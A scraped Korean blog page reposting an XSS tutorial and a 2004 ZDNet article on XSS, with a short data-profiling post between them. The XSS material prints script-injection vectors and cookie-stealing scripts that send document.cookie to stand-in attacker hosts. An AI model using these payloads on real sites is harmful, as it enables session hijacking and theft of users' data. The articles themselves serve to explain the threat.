IT
posted by 구름너머 2007. 11. 13. 16:06
본문스크랩 XSS(Cross Site Scripting) 취약점 IT

2007/11/13 16:04

http://blog.naver.com/damool2/40044245683

출처 블로그 > "담아갑니다" 댓글은 사절!!
원본 http://blog.naver.com/yxeta/100022452942

1. XSS취약점에 관한 글을 시작하며...

최근 해킹의 Trend를 얘기하자면 단연 WEB해킹이라고 얘기할 수 있을것이고

이 WEB해킹중에서도 (주1)"XSS취약점"은"SQL-Injection"취약점과 함께 WEB해킹의

대표적 기법이라고 할 수 있을것입니다.

"크로스 사이트 스크립팅"이라고 불리우는 "XSS취약점"은보안에 대한 지식이

없는 웹프로그래머에 의해 개발된 WEB어플리케이션에서 발견되는

어플리케이션(HTTP) 관련 취약점입니다. 따라서 방화벽이나 IDS, 바이러스백신등과

같은 기존의 보안대책들이 이 XSS취약점에 대해서는 거의 감지하지 못하는 상황입니다.

이와같은 이유로 해서 지금까지도 많은 수의 WEB어플리케이션들이 이 취약점을 이용한

공격에 거의 무방비로노출되어 있다고 말할 수 있습니다.

이글에서는XSS가 어떤 취약점인지, 이 취약점을 갖고있는 사이트가 공격받았을 경우

어떤 피해를 입을수 있는지, 왜 그런 security hole이 생기는 건지, 이 취약성에 대한

적절한 대책은 무엇인지에 대해 하나하나 살펴보도록 하겠습니다.

전체 글에 대한 개요를 대충 잡고 보니 글이꽤나 길어질것 같은 생각이 드는군요....

적당히 나눠서 시리즈(?)로 포스팅 하도록 하겠습니다.

일단글의 순서는 다음과 같이 잡겠습니다.

1. XSS취약점에 관한글을 시작하며... (오늘 쓴글)

2. WEB어플리케이션 공격기법의 종류

3. XSS의 정의 및 아키텍쳐

4. XSS공격의 순서

5. XSS공격으로 인한 피해

6. HTTP 및 HTML문장내의 Tag문자에 대한 대책

7. 입력값검사를 통한 XSS취약점 대응

8. 입력값검사시 유의점

9. Sanitize(무효화)를 통한 XSS취약점 대응

10. 끝내며...

(주1) 이글에서는 "CrossSiteScripting취약점"을 "XSS취약점"이라고 표기했습니다.

약어는 "CSS"가 맞고 "CSS취약점"이라고 써져있는 글도 있습니다만 "CSS"라는

약어는 이미 "Cascading Style Sheets"의 약어로 사용되고 있어 혼동될수도

있기때문에 "CrossSiteScripting취약점"은 보통 "XSS취약점"이라고 하며

제 글에서도 "XSS"라고 표기하겠습니다.

2. WEB어플리케이션 공격기법의 종류

오늘글은 약간은 주제밖의얘기가 될것 같긴하지만 "XSS취약점"에 대해

얘기하기전에 대표적인 WEB해킹 기법에는 어떤것들이 있는지 살펴볼까 합니다.

각 항목별 상세설명은 차후에 기회가 될때 하나씩 얘기해보도록 하고 오늘은

간단한 개요정도만 써보도록 하겠습니다.

A. Cross Site Scripting(크로스 사이트 스크립팅)

- 게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가

보이게해타 사용자의 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로

전송하는등의 문제

B. SQL Injection(SQL문삽입공격)

- 웹어플리케이션에 의도적으로 sql문을 삽입하여 로그인 인증과정을 우회하거나

공격자의 악의적인 쿼리문을 DB에보낼수 있는 문제

C. Parameter Manipulation(파라미터 변조)

- 웹어플리케이션이 사용자의 파라미터값을 검증하지 않을경우 이를 악용하여

어플리케이션이 비정상적으로 동작하게끔 하는 문제

D. Brute Force Attacks(반복[사전식]공격)

- Get이나 Post방식으로 인증하는 페이지에서 특정 ID에 대해 패스워드를 무한

입력하여 해당 ID의 패스워드를 획득할수 있는 문제

E. Buffer Overflows(버퍼오버플로우)

- 웹서버에서 구동되는 실행파일에 비정상적인 버퍼 값을입력시켜 시스템을 다운

시키거나 관리자권한을 획득하는 문제

F. Session Hijacking/Cookie Spoofing (세션 가로채기,쿠키변조)

- 웹 어플리케이션과 클라이언트간 주고받는 정보를 임의적으로 변경하거나 쿠키

정보를 변조하여 인증을 회피하거나중요 정보를 획득하는 문제

G. User Cgi Upload(사용자cgi 업로드)

- 사용자가 악의적인 목적으로 웹어플리케이션에서 수행가능한 cgi프로그램을

(asp,jsp,php,perl등)업로드하여 서버를 공격하는 문제

H. Remote Administration Flaws(관리자 페이지접속 공격)

- 인터넷상에 공개된 관리자 페이지를 다양한 방법으로 공격하여 관리자권한 획득을

시도하는 문제

I. Directory/Path Traversal (디렉토리/경로 탐색)

- 웹 서버 설정상의 오류나 중요 파일의 위치 오류를 이용하여 디렉터리 리스팅을

통해특정파일에 접근하거나 중요정보를 획득할수 있는 문제

이상은주요 WEB공격법을 제가 임의로 나눠본것이고 이것 말고도 PHP로 구현된

웹서버에서만 발견되는 "외부 파일 include취약점"이나고전적인 "취약한 cgi공격"

등그 종류가 수없이 많습니다.

이러한 WEB공격들은 종래의 OS공격과는 달리 다음과 같은 몇가지 특징들이 있습니다.

A. 방화벽,IDS등 기존의 보안대책으로는 대응하기 어렵다.

B. 반드시 서버관리자 권한을 뺐는것이 목적이 아니다.

C. 각 WEB어플리케이션마다 공격의 패턴이 다르다.

D. 바이러스나 웜이 아니므로 백신에서 탐지되지 않는다.

E. 대부분 공격의 흔적이 로그에 남지않는다.

3. XSS의 정의 및 아키텍쳐

먼저 XSS를 이용해 공격을 한다는것은 사용자의 입력내용을 포함하는 HTTP요청에

대해 동적으로 HTML을 생성하는 어플리케이션(CGI)이 공격대상이 됩니다.

정적인 웹페이지, 즉 일반적인 HTML로 작성된 웹페이지에서는 이 문제는 일어나지

않습니다.

이해를 돕기위해 간단한예제를보겠습니다.

그림 3-1 : 텍스트입력란이 있는 cgi 프로그램

그림 3-1과 같이 텍스트을 입력받는란이 있어 여기에 사용자가 임의의 문자열을

입력한후 "전송하기"버튼을 누르면 사용자의 입력한문자열을 웹페이지에

출력해주는cgi 프로그램이 있다고 하면

결과는 다음과 같을것입니다.

그림 3-2 : 사용자가 입력한 문자열을 이용해 동적 HTML페이지를 생성한 결과

간단한 예제지만 이처럼 사용자가 입력한 문자열을 이용해 동적 HTML 출력하는

경우에 XSS취약점공격이 끼어들 가능성이 있는 페이지입니다.

그림 3-2를 웹브라우져의 "소스보기' 메뉴를 이용해서 HTML소스를 확인해보면

다음과 같습니다.

========================================================

<HTML>
<BODY>
메세지 : 안녕하세요 jakehong님!
</BODY>
</HTML>

========================================================

그럼 이번에는 그림3-1 화면에서 굵은폰트속성을 나타내는 HTML 태그를

사용하여 "안녕하세요 <B>jakehong</B>님!"이라고 입력해 본다면

결과가 어떻게 나올것 같나요?

XSS취약점에 대한 대비가 안되어있는 cgi프로그램이라면 대부분 아래와

같이 "jakehong" 부분이 굵은 글씨로 출력된 페이지를 보게됩니다.

그림 3-3 : jakehong부분이 굵은폰트로 출력된 화면

이 화면의 HTML소스를 보면 다음과 같습니다.

========================================================

<HTML>
<BODY>
메세지 : 안녕하세요 <B>jakehong</B>님!
</BODY>
</HTML>

========================================================

사용자가 입력한 "안녕하세요 <B>jakehong</B>님!" 문자열을 입력한

그대로 출력하고자 한다면 "안녕하세요 &lt;B&gt;jakehong&lt;/B&gt;님!"

라고 출력해야 하지만 그 부분에 대한 처리를 해주지 않은것입니다.

그럼 이번에는입력란에 "<SCRIPT>alert("까꿍!");</SCRIPT>"라고

입력해 보면아래 그림과 같이 "까꿍!" 이라고 써진 다이얼로그박스가

나타납니다.

그림 3-4 : 입력란에 <SCRIPT>태그를 입력한 결과

HTML소스를 보면

========================================================

<HTML>
<BODY>
메세지 : <SCRIPT>alert("까꿍!");</SCRIPT>

</BODY>
</HTML>

========================================================

예상한대로 웹브라우져는 이 입력값을 스크립트라고 해석해 다이얼로그창을

보여줍니다. 예제에서는 단지 다이얼로그창을 띄운거지만 이 외에도

모든 script를 삽입하는것이 가능할 것입니다.

이처럼 웹페이지에 사용자가 임의의 script를 삽입시킬수 있는 문제가 있기

때문에 이를 XSS(Cross Site Scripting)라고 합니다.

예제는 자신이 입력한 스크립트를 자신이 실행하는것이지만 약간만 응용하면

다른사람에 의해 작성된 스크립트를 강제로 실행하게끔 하는것이 가능합니다.

그림 3-4에서 "확인"을 누른후 윈도우창 상단의 URL입력란을 보게되면

그림 3-5 : 그림 3-4 에서 "확인"을 누른후 URL란확인

====================================================================================

http://127.0.0.1:88/xss/text_r.asp?str=%3CSCRIPT%3Ealert%28%22%B1%EE%B2%E1%21%22%29%3B%3C%2FSCRIPT%3E

====================================================================================

이 URL encode 스트링(빨간글자)을decode하면 이전 페이지에서 사용자가 입력한

<SCRIPT>alert("까꿍!");</SCRIPT>이란 글자가 됩니다.

즉, 이 cgi프로그램은 사용자가 입력한 문자열을 URL뒤에 인자로 추가하여

cgi프로그램에 전달되어 cgi프로그램이 이를 읽어 출력화면의 일부로 웹브라우져에

표시를 하는것입니다.

조금만 더 응용해 보겠습니다.

이번엔 XSS 취약점이 있는 웹싸이트에다음과 같은 웹페이지를하나 만듭니다.

===========================================================

<HTML>
<BODY bgcolor="black" link="white">
<A HREF='http://공격자사이트/text_r.asp?str=<script>alert("Merong~") ;</script>'>
여기를 클릭 </A>
</BODY>

</HTML>

===========================================================

그림 3-6 :다른싸이트에 있는 script를 수행하는 예제

만일 사용자가 해커가 만들어논 이 페이지를 클릭하게 되면

=============================================================================

http://공격자싸이트/text_r.asp?str=<script>alert("Merong~") ;</script>

=============================================================================

해커가 사전에 만들어논 공격자싸이트의 cgi프로그램이 수행되면서

위에서 언급한 스크립트가 실행되는것입니다.

이처럼 공격대상싸이트에 공격자싸이트를 크로스(걸쳐서)시켜서 공격하기

때문에 XSS(Cross Site Scripting)이라고 합니다.

4. XSS공격의 순서

그림 4-1 XSS공격의 순서

1. 해커가 사전에 만들어논 웹페이지에 사용자가 브라우져로 엑세스를 시도한다

2. XSS공격용 link가 포함된 웹페이지가 브라우져에 표시된다.

3. 사용자가 link를 클릭한다.

4. 사용자가 느끼지 못하는사이 취약한싸이트에 있는 해커의 스크립트에 엑세스된다.

5. 사용자의 웹브라우져상에서 해커의 스크립트가 실행된다.

이것이 기본적인 XSS공격의 순서지만 이 외에도 다양한 응용이 가능합니다.

위의 5단계 순서에서 흥미로운 부분은 1단계에서 3단계로 이는 사용자가

조작을 선택하도록 되어 있는 부분입니다. 즉, 사용자가 선택하지 않으면 다음

단계로도 진행되지 않는다는 말입니다.

하지만 해커는 웹페이지를 교묘하게 위장하여 사용자가 느끼지 못하는 사이에

3단계까지 진행하도록 만들어 놓습니다.

예를들면 인터넷을 돌아다니다 보면 한번쯤 이런 메세지를 본적이 있을것입니다.

"이 페이지는 www.***.com으로 변경되었습니다. #초후 자동으로 이동합니다."

이 메세지는 싸이트가 자동으로 이동한다는것을 친절하게 안내해주고 있지만

똑같은 원리로 사용자가 직접 link를 클릭하는것을 기다리지 않고 안내 메세지

없이 자동으로 특정페이지로 이동하게끔 만들어 사용자가 눈치채지 못하게

3단계를 실행할 수 있습니다.

또 메일내용에 스크립트가 위치한 URL주소를 포함시키거나 많은 사람들이 읽는

게시판에 스크립트가 위치한 URL주소를 포함한 글을 올리는 등의 방법으로

사용자가 느끼지 못하게 1단계를 실행할 수도 있습니다.

지난번 글의 예제 프로그램은 파라미터 값이 URL에 인자로 표시되는

GET 메소드를 사용했지만 URL에 전혀 보이지 않는 POST 메소드를

사용해도 똑같은 문제가 일어날수 있습니다.

다시말해 POST 메소드는 XSS취약점의 대안이 될수 없다는 말입니다.

5. XSS공격으로 인한 피해

이전글 까지는 XSS취약점이란게 무엇인지 대해 얘기를 했었습니다.

오늘은 이 XSS취약점으로 인해 일어날수 있는 피해에는 어떤게 있는지 살펴볼까 합니다.

어떤 웹싸이트에 XSS취약점이 존재한다면 해커는 그 취약점을 이용한 공격을

시도할것입니다. 하지만 엄밀히 말해 그 공격이라는것은 XSS취약점이 있는 웹싸이트에

대한 공격이 아니고 그 웹싸이트를 이용하는 사용자들에 대한 공격입니다.

이전부터 웹싸이트 사용자를 대상으로 하는 공격은 존재했었지만 그것은 악의적인

코드가 설치된 웹싸이트를 접속한 사용자가 피해를 당하는 것이였습니다.

XSS를 이용한 공격도 특정 웹싸이트에 접속한 사용자가 피해를 입는다는것은

같지만 문제를 일으키는 코드(스크립트)가 어디에 존재하는가의 차이가 있습니다.


그림4-1 XSS공격의 순서
지난번 글에도 나왔었던 그림4-1을 다시한번 살펴보겠습니다.
위 그림4-1을 보면 스크립트가 실행되는것은 ⑤단계에서지만 이 페이지가 생성되고
전송되는곳은 cracker가 만들어논 ④단계(XSS가 존재하는 취약싸이트)에서 하게됩니다.
다시 말해 사용자는 cracker가 사전에 만들어논 싸이트로부터 보내져온 스크립트가
사용자 브라우져상에서 실행되어 결국 사용자가 직접적인 피해를 입게 되는 것입니다.
스크립트를 이용하여 접근할수 있는 정보의 범위는 일반적으로 그 스크립트를
포함하는 페이지내에 한정됩니다. 쿠키(cookie)도 그 정보들중의 하나입니다.
여기에서XSS 얘기는 잠시 접고 쿠키(cookie)에대한 얘기를 잠시 해보겠습니다.
쿠키하면 초코칩쿠키같은 과자만 떠오르시는 분은 이 글을 더이상 읽지 마시고
웹브라우져에서의 쿠키의 의미와 역활에 대해 선행학습하시기 바랍니다.
예를 들어 해커의 싸이트(http://cracker/cookie.html)에 다음과같은 쿠키를 보여주는
스크립트가 있다고 가정해보겠습니다.

========================================================

<SCRIPT>
alert(document.cookie);
</SCRIPT>

========================================================

누군가 이 페이지에 접속했을때 이 스크립트가 엑세스할수 있는 쿠키는 스크립트가

보내져온 페이지,즉 http://cracker/cookie.html 페이지와 관련된 쿠키뿐이지

다른 싸이트에서 발행된 쿠키에는 접근할수 없습니다.

그런데 만일 어떤싸이트에 XSS취약점이 존재한다면 이러한 스크립트를 포함한

페이지가 취약한싸이트에서 보내져 올수가 있게됩니다.

그렇게되면 그 스크립트가 엑세스할수 있는 쿠키는 취약한싸이트에서 발행된

쿠키가 되는겁니다.

이 미묘한 차이에 의해

단순히 공격자가 만들어논 악의적인 스크립트가 실행됐을 경우 와는 다른

피해가 발생하는것입니다.

XSS취약점으로 인한 주요 피해는 다음과 같습니다.

1. 쿠키 훔치기(cookie sniffing)

이 문제는 XSS취약점을 이용한 대표적인 피해로써 많이 알려져 있습니다.

"document.location="http://cracker/cookie.cgi?cookie="+document.cookie;"

사용자가 위와 같은 스크립트를 실행하게되면 해커의 싸이트의 cookie.cgi가

수행될때 뒤에 딸린 인자에 사용자의 쿠키가 포함된 형태로 엑세스 하게됩니다.

이 사용자 쿠키는 공격자의 웹서버로그에도 남을것이고 인자로써 사용자쿠키를

받은 cookie.cgi에서 어떤 처리라도 할 수가 있습니다.

여기서 한발 더 나아가 사용자의 쿠키를 훔친후에 원래의 페이지(혹은 강제로

로그아웃 시킨다던지...)를 다시 표시해주는 처리를 해주게 되면 사용자는

자신이 쿠키를 도둑맞았다는 사실조차 알지 못할수도 있습니다.

하지만 이렇게 다른사람에게 쿠키정보가 노출된다는것 자체가 문제는 아닙니다.

다만 이 쿠키의 내용중에 보안상 문제가 될만한 내용을 담고있을 경우

피해가 발생할 수 있습니다.

예를들면 로그인을 위한 사용자ID와 패스워드를 쿠키에 담고있는 웹싸이트가

있다고 가정하면다른사람이 이 쿠키를 훔쳐갈 경우 해커가 이 ID로 로그인

하는것이 가능하다는 것입니다.

만일 쿠키에 개인정보를 포함하고 있지 않고 세션ID와 같은 정보만을 보관하고

있더라도 이 세션ID만으로 사용자인증을 처리하는 경우에는 마찬가지로

위험하게 됩니다.

해커가 훔친 다른 사용자의 세션ID를 자신의 것과 바꿔치기 할 경우 웹싸이트는

이 해커를 다른 정상적인 사용자로 인증을 하게 되는것입니다.

2. 거짓 페이지 보이기(이걸 공식적(영어)으로 뭐라 부르는지 모르겠습니다.)

<script>....</script> 대신에 <img>같은 그림을 표시하는 태그가 들어있다면

원래 페이지와는 전혀 관계없는 그림이 표시될것입니다.

아무 태그나 다 사용할 수 있다면 원래 페이지의 일부를 변조하여 사용자에게

보여준다거나 원래페이지와 유사한 거짓페이지를 보여주는것도 가능합니다.

이런 거짓페이지를 보고 진짜라고 믿어 버리는 사람도 적지 않습니다.

최근에도 박진엉(한때 망사티를 입고 노래했던 한물간 가수겸 제작자)의

메일 계정/암호가 이런 방법에 의해 해커에게 노출되어 문제가 된 사고도

있었습니다.비록 그 사건에 연류된 해커는 잡히긴 했지만 앞으로도 얼마든지

발생가능한 문제라고 할수 있습니다.

'IT' 카테고리의 다른 글

아키텍쳐 평가방법론  (0) 2007.11.20
유스케이스 실체화(Use Case Realization)  (0) 2007.11.14
Data Profiling  (0) 2007.11.13
XSS 보안 위협「당신의 사이트는 안전한가?」  (0) 2007.11.13
데이터 저장 기술  (0) 2007.11.11
IT
posted by 구름너머 2007. 11. 13. 15:31

1.데이터프로파일링의정의
-품질측정대상DB의데이터를읽어컬럼및레코드의데이터현황정보를통계적으로분석함.

2.데이터 프로파일링의유형
1)컬럼분석:컬럼에저장된값에대한분포및값의포맷별분포를분석함.
사례)계약일자컬럼의값의분포:Null100건,00010110건,1990101120건…….
계약일자컬럼의포맷분포:9999999150건,999X999100건…….


2)PK분석:테이블내에컬럼및컬럼조합의유일성을조사하여PrimaryKey후보를분석함.
사례)계약테이블의주민번호+계약일자의중복데이터분포율2%

3)테이블간데이터분석:테이블간에동일데이터도메인을가지는컬럼군을분석하여데이터의중복성을분석함.
사례)계약테이블의고객명과고객테이블의고객명데이터일치율97%

4)테이블간FK관계분석:테이블간에상호ForeignKey관계를가지는컬럼이존재하는분석함.
사례)고객테이블의고객번호를기준으로계약테이블의고객번호와데이터일치율98%

5)정규화분석:테이블내컬럼간의존성을분성하여정규화후보를발견함.
사례)계약테이블의고객번호와고객명의상호의존성98%

코드 분석,

컬럼 데이터 분석,

데이터 타입 분석,

데이터 표준화 분석,

데이터 값의 패턴 분석

http://www.dbq.or.kr/method/assesment.php

'IT' 카테고리의 다른 글

유스케이스 실체화(Use Case Realization)  (0) 2007.11.14
XSS(Cross Site Scripting)  (0) 2007.11.13
XSS 보안 위협「당신의 사이트는 안전한가?」  (0) 2007.11.13
데이터 저장 기술  (0) 2007.11.11
SCTP란?  (0) 2007.11.11
IT
posted by 구름너머 2007. 11. 13. 15:25

ZDNet : http://www.zdnet.co.kr/builder/system/security/0,39031673,39131781,00.htm

XSS 보안 위협「당신의 사이트는 안전한가?」

오정욱 (보안 컨설턴트) 2004/11/24

웹 애플리케이션은 계속 복잡해지고 있다. 그것도 많은 주체들에 의해서 새로운 표준을 만들어가면서 말이다. 그리고 그 과정에서 보안은 무시되기 쉽다. 여기서 설명하려고 하는 XSS(Cross Site Scripting)가 전형적인 예다. 별 것도 아닌 버그가 너무나도 광범위하게 존재해서 쉽사리 제거하기도 힘든 지경에 이르렀다. 일종의 전신에 퍼진 암처럼 XSS가 없는 웹 페이지에는 ‘XSS Free’ 마크라도 만들어서 붙여줘야 하는 것이 아닌가 생각된다.

어떤 분야이든 전문화가 이뤄지면 전문화된 용어를 갖게 되는데 XSS는 웹 애플리케이션 해킹을 하는 사람들이 사용하는 전문 용어로서 그 단어 자체의 의미는 그렇게 중요하지 않다.

단지 XSS가 무엇인지만 이해하면 되는 것이다. 의사들이 쓰는 전문 용어를 보면서 왜 그렇게 어려운 용어를 사용할까 생각해 본 적이 있을 것이다. 필자의 경우 고민 후에 얻은 결론은 ‘그냥 어쩌다 보니까 그렇게 되었을 것이다’라는 것이다. XSS 또한 그냥 어쩌다 보니 붙여진 이름으로 엄밀히 말해서 그렇게 정확한 용어는 아니다.

세상은 보안의 측면에서 보았을 때에 의외로 허술한 구석이 많다. 사실 보안이라는 개념은 아주 일상적인 개념이다. 보안의 시작은 사적 소유에서부터 시작되는데 자신의 소유물을 타인으로부터 지키려는 행위를 의미하는 것 같다. 하지만 현실 세계에서 이러한 보안의 개념은 형편없이 구현되어 있다.

웬만한 자동차는 30초 내에 문이 열리고 사실 가정마다 설치된 자물쇠는 이론상으로 열릴 수밖에 없는 구조다. 그리고 벽으로 막기 힘든 전자파들에 의한 정보 유출도 있으며 무선랜에 의한 보안성의 상실이 있을 수도 있다. 이렇게 허술한 보안성의 상실을 일으키는 여러 요소들과 어깨를 나란히 할 만한 문제가 바로 ‘XSS’이다. 이만큼 파급 효과가 큰 문제이니 만큼 독자들 대부분은 XSS라는 문제를 이미 몇 번은 경험해 봤을 것이다.

XSS의 정의
먼저 공식적인 XSS의 정의부터 알아보기로 한다. 악의적인 사용자가 만든, 동적으로 생성되는 웹 페이지에서 악의적인 HTML 태그나 스크립트가 포함될 수 있다. XSS는 웹 애플리케이션에 클라이언트로부터 악의적인 데이터를 받아들일 때에 발생할 수 있다. 이렇게 받아들여진 데이터는 다른 클라이언트가 그 페이지에 접근할 경우에 전달 되게 되고, 이 클라이언트는 정상적인 데이터로 인식하고 그 내용을 인터프리트(interpret)하게 된다. 즉, 웹 애플리케이션을 매개로 하여 다른 사용자의 브라우저에서 스크립트 실행이 가능해지는 것이다.

결과적으로 DOM(Document Object Model) security restrictions을 건너뛰어 명령 실행이 가능해진다. DOM은 스크립트가 동적 웹 컨텐츠에 수정을 가하는 데에 대한 개념적인 프레임워크로서 웹 브라우저의 보안 셋팅에 의해 구현되어 있다(http://www.w3.org/DOM/). 이러한 태그나 스크립트는 웹 서버가 입력이나 출력을 제대로 필터링하지 못할 경우에 의도하지 않은 스크립트를 실행하도록 할 수 있다.

대부분의 웹 브라우저들은 웹 페이지에 삽입된 스크립트를 해석하고 실행할 수 있다. 이러한 스크립트는 자바스크립트나 VB스크립트로 짜여진 경우가 많다. 최근에 이러한 스크립트는 웹의 필수 구성요소가 되어 있어서 웹 브라우저는 디폴트로 이러한 스크립트를 실행하도록 해놓는다. XSS는 크로스-플랫폼한 문제이고 복잡하게 연결된 시스템들의 여러 구성요소 사이의 예상하기 어려운 상호작용에 의해서 발생한다.

XSS는 Cross Site Scripting의 준말이니 앞에서 언급했듯이 용어 자체는 이러한 현상에 대한 적절한 표현은 아니지만 초기에 이 용어로 굳어져서 사용하고 있다. 이 문제의 핵심은 동적 페이지에서 보여지는 페이지에 신뢰할 수 없는 내용이 들어갈 수 있다는 점이다. XSS가 발생하면 서버나 클라이언트 양자 모두 이 문제가 발생했는지에 대해 인지하기 어렵고 따라서 방어하기도 힘들다. 이러한 스크립트는 부적절한 시큐리티 컨텍스트(security context)에서 부적절한 권한으로 실행된다.

공격 대상
사용되는 태그
태그를 사용해 스크립트 실행이 이뤄지게 된다. <표 1>과 같은 태그들을 사용해 스크립트를 실행시킬 수 있다. 웹 공격자들이 가장 즐겨 사용하는 태그는 역시 <script> 태그이다.

대상 스크립트나 언어
다음과 같은 스크립트나 언어가 공격 대상이 된다.

◆ JavaScript
◆ VBScript
◆ ActiveX
◆ HTML
◆ Flash

취약한 코드들
다음과 같은 코드들에서 주로 XSS를 찾을 수 있다. 사실 특정한 유형이 있는 것은 아니지만 에러 메시지 출력 부분이나 게시판 아니면 사용자의 정보를 입력해 다시 보여주는 부분 등이 주로 취약한 부분이 될 경우 많다. 특히 사용자 등이 웹 사이트의 고객 불만 센터 등을 이용할 수 있게 해뒀을 경우 XSS를 바로 관리자에게 날릴 수 있는 최악의 사태가 벌어지기도 한다.

◆ CGI scripts
◆ search engines
◆ interactive bulletin boards
◆ custom error pages

이러한 코드의 다음과 같은 입력 부분에서 XSS가 주로 발생한다. 웹 사이트를 서베이할 때에 공격자들이 눈여겨 보는 부분이다.

◆ URL parameters
◆ Form elements
◆ Cookies
◆ Databases queries

XSS의 두 가지 유형
XSS에는 client-to-client와 client-to-itself 방식의 두 가지 유형이 존재한다.

client-to-client 방식
첫째 client-to-client 방식은 한 클라이언트에서 다른 클라이언트로 악의적인 코드가 전달되는 것이다. 게시판에 글을 쓴다든지 하는 방식으로 악의적인 코드를 전달할 수 있다. BBS나 메시징 시스템 등에 다음과 같이 스크립트가 포함된 내용을 포스팅할 경우에 이 스크립트를 필터링하지 않을 경우에 발생한다.

Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.

<그림 1> client-to-client 방식

client-to-itself 방식
또 하나는 client-to-itself 방식이다. 악의적인 코드가 공격 대상이 되는 클라이언트 자신이 보내서 자신이 되돌려 받는 유형이다. 이러한 형태의 공격은 주로 이메일이나 웹 페이지를 통해 링크를 제시하고 사용자가 그러한 링크를 클릭하도록 유도하는 방식으로 이뤄진다.

[1] 매개체
- 이메일이나 뉴스그룹의 메시지를 신뢰할수 없는 링크들
- 다른 웹 사이트나 웹 보드, 인스턴트 메시지로부터의 링크
- 악의적인 코드가 포함된 하이퍼링크의 형태로 전달된다.
- 공격자는 악의적인 코드를 인코딩해서 보내므로 쉽게 식별하기가 힘들고, 사용자가 클릭할 확률이 높아진다.

<그림 2> client-to-itself 방식

[2] 자동화
사용자의 개입을 최소화하기 위해 다음과 같은 자동화 태그를 사용할 수 있다.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>

공격 방법
기본적으로 다음과 같은 공격들이 가능하다. 공격자가 사용자와 웹 사이트 사이의 상호작용을 통제할 수 있다.

[1] 페이지의 모양 바꾸기
이미지나 사운드를 삽입할 수 있다.

[2] SSL 암호화 커넥션 노출
SSL 페이지에 대해서 XSS를 사용해 일반 웹 서버에서 마찬가지 공격이 가능하다. 원래 웹 브라우저는 SSL 페이지에서 SSL 미사용 페이지를 접근할 경우 경고 메시지가 뜨는데, 공격자의 웹 서버를 SSL 사용 웹 서버로 바꾸면 이러한 경고 메시지도 없앨 수 있다.

[3] 쿠키 변형시키기를 통해 공격을 지속시킬 수 있다.
쿠키 자체를 변형시켜서 쿠키에 악의적인 코드를 넣어둘 수도 있다. 이렇게 변형된 쿠키는 이후에 지속적인 공격이 가능하게 해준다.

[4] 제한된 웹 사이트 접근
악의적인 URL을 생성함으로써 사용자의 인트라넷에 있는 데이터를 유출시킬 수 있다. 클라이언트는 인트라넷에 대해서 완전한 접근이 가능한 경우가 많다. 클라이언트가 XSS 공격을 당하면 이러한 인트라넷의 데이터에 대한 접근도 손쉬워진다.

[5] DOM 기반 보안 정책 위반 가능
웹 브라우저에 특정 사이트에 대해서만 스크립트 실행 권한이 있다면 XSS를 통해서 이러한 정책을 위반할 수 있다. 악의적인 스크립트 태그를 서버로 보내고 대상 클라이언트가 이에 대해서 접근한다면 DOM 보안 정책은 무용지물이 된다. 웹 페이지 내의 패스워드나 크레디트 카드 번호와 같은 민감한 정보를 유출시킬 수 있다. 사용자를 속이고 데이터를 수집할 수 있다. 계정 하이재킹(hijacking), 사용자 세팅 변경, 쿠키 훔치기, 쿠키 변형시키기, 잘못된 정보 보여주기 등이 가능하다. DOS 공격도 가능하다(http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html).

[6] 잘 사용하지 않는 문자 셋을 사용하면 문제를 더 확대시킬 수 있다.
브라우저는 웹 페이지에 문자 셋에 대한 정보를 지정해 두지 않으면 기본적인 문자 셋을 사용한다. 문자열의 불일치로 인해서 특수 문자가 서로 다르게 해석되어 문제가 발생할 소지가 있다.

[7] 폼의 행동 방식을 바꿀 수 있다.
특정한 조건에서 공격자는 폼의 행동 방식과 결과가 어떻게 서브밋(submit)될 지에 대한 방식을 변형시킬 수 있다.

쿠키 훔치기
여러 공격 방법 중에서 가장 흥미를 끄는 것 중의 하나가 바로 ‘쿠키 훔치기’이다. 누가 과자 회사를 상대로 무슨 쿠키를 훔치려고 해킹하는 것인가 하는 생각이 들 것이다. 쿠키라는 것은 일종의 인식표라고 할 수 있다. 웹 브라우저는 웹 서버로부터 쿠키를 배포받게 된다.

제대로 된 쿠키라면 다른 웹 브라우저들이 같은 쿠키를 받을 일은 없을 것이다. 진짜 제대로 된 쿠키라면 고유하면서도 랜덤한 문자열의 형태를 가지면서 인간이 알아볼 수 있는 정보는 저장하지 않게 된다. 이러한 쿠키를 세션 아이디라고도 부른다. 어쨌든 이 쿠키만 훔친다면 상대편 웹 브라우저의 권한을 모조리 행사할 수 있다. 예를 들어 상대편 사용자의 아이디나 패스워드를 몰라도 그 계정으로 로그인한 상태로 들어갈 수 있다는 것이다.

훔치기 기술
사용자의 쿠키를 훔쳐내는 기술이다. document.cookie 오브젝트를 자바스크립트로 읽어서 공격자가 지정한 위치의 cgi에 전달한다. DOM security 세팅을 건너뛰어 사용자의 쿠키에 접근이 가능한 점을 이용해서 사용자의 쿠키를 공격자가 지정한 서버로 전송할 수 있다.

쿠키 훔치기에 사용되는 스크립트
다음과 같은 XSS 스크립트를 사용하면 해당 페이지에서의 공격 대상의 쿠키와 해당 URL을 전송받을 수 있게 된다.

<script>document.location.replace
('http://<쿠키로거의 URL>/cookie.cgi?'+document.cookie+'&'+document.URL);
</script>

쿠키 로거
